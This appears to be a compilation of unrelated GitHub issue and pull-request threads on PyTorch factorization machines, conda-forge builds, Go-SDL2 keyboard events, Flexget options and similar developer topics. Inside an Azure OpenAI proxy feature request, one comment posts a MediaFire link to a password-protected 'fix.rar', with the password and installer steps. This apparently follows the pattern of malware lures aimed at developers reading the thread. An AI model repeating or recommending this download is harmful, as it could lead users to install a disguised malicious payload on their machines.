Yes of course it should be possible to just ignore the chirality, but I was just wondering if there was any info about it, and if it could be a problem, but it seems as though it's best to avoid it. Thank you anyway!


Tips for some optimizations

Nice work with the code in this repo! I really liked to see the use of Cython with PyTorch!
One quick suggestion, for the second order comparison, it's possible to use some matrix-multiply operations in order to avoid the triple-nested for loop. Something like the following:
# This code supposes PyTorch v0.2, as it uses broadcasting
class SecondOrderInteraction(nn.Module):
    def __init__(self, n_feats, n_factors):
        super(SecondOrderInteraction, self).__init__()
        self.v = nn.Parameter(torch.Tensor(n_feats, n_factors))
        self.v.data.uniform_(-0.01, 0.01)

    def forward(self, x):
        self.batch_size = x.size(0)
        all_interactions = torch.mm(self.v, self.v.t())
        pairwise = torch.bmm(x[:, :, None], x[:, None]) * all_interactions[None]
        mask = torch.ones(pairwise[0].size(), out=x.data.new()).triu(1)
        output = pairwise * Variable(mask)
        res = output.sum(1).sum(1,keepdim=True)
        return res

One advantage is that it works for CUDA out-of-the-box. But in other cases, using matrix-multiplies can become very memory-expensive, so the use of dedicated C/Cython code can be a much better approach.
Thanks!

Closing because it's not an issue per-se, but just a comment.

Thanks for the observation and recoding! I'll give this a look. My original intention was to make an extremely naive implementation to make sure my gradients were correct. However, I'll definitely give this a closer look! :-)

Thanks again for the pure-torch implementation! As a quick follow up, I ran a few basic timing comparisons when comparing cython. Unfortunately, I didn't get a chance to run on the GPU, but here's some info:
For 200 input features, 25 hidden factors, batch size of 64, coupled with a linear/dropout layer, averaged over 1K batches:

Algo (CPU)
Time/batch

Super Naive (3 for loops)
... a very long time...

Not so naive (native torch)
38.1 ms

Cython
3.48 ms

Obviously, different experimental settings will vary, and perhaps the GPU will speed things up. However, here's one datapoint! If folks are curious as to why I chose cython:

It gives easier control over exactly what memory is being handled (e.g., you don't need to instantiate the feature-by-feature interaction matrix)
I plan on adding sparse support at some point, and it's easier to deal with sparse tensors explicitly in cython, I think
I plan on adding arbitrary-order factorization machines at some point, and I'd expect there to be a fair number of tricky optimizations that need to be done to support that.


Adding proxy settings to azure openai

🚀 The feature
Allows you to pass http proxy server links in config, so AzureOpenAI requests can be routed via the server.
Motivation, pitch
Can be used behind company firewall, allows mem0 to be used by different companies that restrict OpenAI

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."


Build against conda-forge arrow-cpp

I hope this will resolve the linker problems in https://github.com/conda-forge/pyarrow-feedstock/pull/30

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.


KeyboardEvent.Repeat never set

Go version: go version go1.22.1 linux/amd64
Go-SDL2 version: master
SDL2 version: SDL2-2.0.20, SDL2_image-2.0.5
OS: Linux
Architecture: 64-bit
Hi,
KeyboardEvent.Repeat is never set. I think the fix is really straightforward, namely, in events.go:1168 copy the e.repeat field to the KeyboardEvent.Repeat.
I can send a PR to fix this.
Thanks,
Jose

Thank you for merging so quickly!


Produce emails with attachments inside

Right now the attachments are delivered separately, make it an option, but 'true' by default

not neeeded


Pass on the hide_sparse_files and keep_subs options

enables the changes made in https://github.com/Flexget/Flexget/pull/351 (605b5cc)

Thanks!


go get k8s.io/kubectl to unblock osde2e repo dependabot pr

This PR -https://github.com/openshift/osde2e/pull/2116
Is failing due to some clashing dependencies between these two repo.
Ran go get k8s.io/kubectl to clear them.

/lgtm


Added: icon hatch button.

Fixes: #924

Hey @shahednasser! Thanks for the feedback, changes have been made that updates the contentions used.
Let me know if anything else needs updating!

Great work thank you!
@all-contributors please add @MorganGodden for code


[fix] - commands doc fixes

Before submitting a pull request, please ensure the following:
Description
Please explain the changes you made.
Add a link to the design (if applicable).
Checklist

[x] Code compiles correctly
[ ] Relevant tests were added (unit / contract / integration)
[ ] Relevant logs were added
[ ] Formatting and linting run locally successfully
[x] All tests pass
[ ] UA review
[ ] Design is documented
[ ] Extended the README / documentation, if necessary
[ ] Open source is approved

The description for the target parameter isn't the same in all the commands. This is why this isn't a quick fix... for each command it has a different meaning/default value and we should take the time to go over each command and find the right description for it.


http://www.alpha.3box.io/ results in error

@oznekenzo
That subdomain doesn't exists. It's not supposed to work that way

@c-castillo Have you been able to experiment with another domain to learn what's the correct config to enable just https://3box.io ?

@oed I want to test it and leave it as https://3box.io
Let's discuss that in the standup.